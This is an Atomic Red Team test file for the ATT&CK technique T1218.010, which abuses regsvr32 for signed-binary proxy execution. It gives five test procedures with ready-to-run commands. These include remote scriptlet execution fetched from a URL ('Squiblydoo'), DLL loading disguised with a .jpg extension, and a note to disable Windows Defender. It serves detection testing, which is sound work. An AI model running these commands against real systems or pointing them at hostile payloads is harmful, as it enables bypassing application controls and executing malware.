atomic-red-team/atomics/T1218.010/T1218.010.md

# T1218.010 - Signed Binary Proxy Execution: Regsvr32

## Description from ATT&CK

> Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)
> 
> Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
> 
> Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

[Source](https://attack.mitre.org/techniques/T1218/010)

## Atomic Tests

- [Atomic Test #1: Regsvr32 local COM scriptlet execution](#atomic-test-1-regsvr32-local-com-scriptlet-execution)
- [Atomic Test #2: Regsvr32 remote COM scriptlet execution](#atomic-test-2-regsvr32-remote-com-scriptlet-execution)
- [Atomic Test #3: Regsvr32 local DLL execution](#atomic-test-3-regsvr32-local-dll-execution)
- [Atomic Test #4: Regsvr32 Registering Non DLL](#atomic-test-4-regsvr32-registering-non-dll)
- [Atomic Test #5: Regsvr32 Silent DLL Install Call DllRegisterServer](#atomic-test-5-regsvr32-silent-dll-install-call-dllregisterserver)

### Atomic Test #1: Regsvr32 local COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `449aa403-6aba-47ce-8a37-247d21ef0306`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| filename | Name of the local file, include path. | path | PathToAtomicsFolder\T1218.010\src\RegSvr32.sct|
| regsvr32path | Default location of Regsvr32.exe | path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | string | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll
```


#### Dependencies: Run with `powershell`!

##### Description: Regsvr32.sct must exist on disk at specified location (#{filename})

###### Check Prereq Commands

```powershell
if (Test-Path "#{filename}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"
```

### Atomic Test #2: Regsvr32 remote COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable
windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| url | URL to hosted sct file | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct|
| regsvr32path | Default location of Regsvr32.exe | path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | string | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll
```

### Atomic Test #3: Regsvr32 local DLL execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `08ffca73-9a3d-471a-aeb0-68b4aa3ab37b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_name | Name of DLL to Execute, DLL Should export DllRegisterServer | path | PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll|
| regsvr32path | Default location of Regsvr32.exe | path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | string | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )
```


#### Dependencies: Run with `powershell`!

##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_name}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
```

### Atomic Test #4: Regsvr32 Registering Non DLL

Replicating observed Gozi maldoc behavior registering a dll with an altered extension

**Supported Platforms:** Windows

**auto_generated_guid:** `1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_file | Path to renamed dll file to be registered | path | %temp%\shell32.jpg|
| regsvr32path | Default location of Regsvr32.exe | path | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | string | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s #{dll_file}
```

#### Cleanup Commands

```cmd
#{regsvr32path}\#{regsvr32name} /U /s #{dll_file}
```

#### Dependencies: Run with `command_prompt`!

##### Description: Test requires a renamed dll file

###### Check Prereq Commands

```cmd
if exist #{dll_file} ( exit 0 ) else ( exit 1 )
```

###### Get Prereq Commands

```cmd
copy "C:\Windows\System32\shell32.dll" "#{dll_file}"
```

### Atomic Test #5: Regsvr32 Silent DLL Install Call DllRegisterServer

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.

**Supported Platforms:** Windows

**auto_generated_guid:** `9d71c492-ea2e-4c08-af16-c6994cdf029f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_name | Name of DLL to Install | string | PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll|
| regsvr32path | Default location of Regsvr32.exe | string | C:\Windows\system32|
| regsvr32name | Default name of Regsvr32.exe | string | regsvr32.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"
```


#### Dependencies: Run with `powershell`!

##### Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_name}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"
```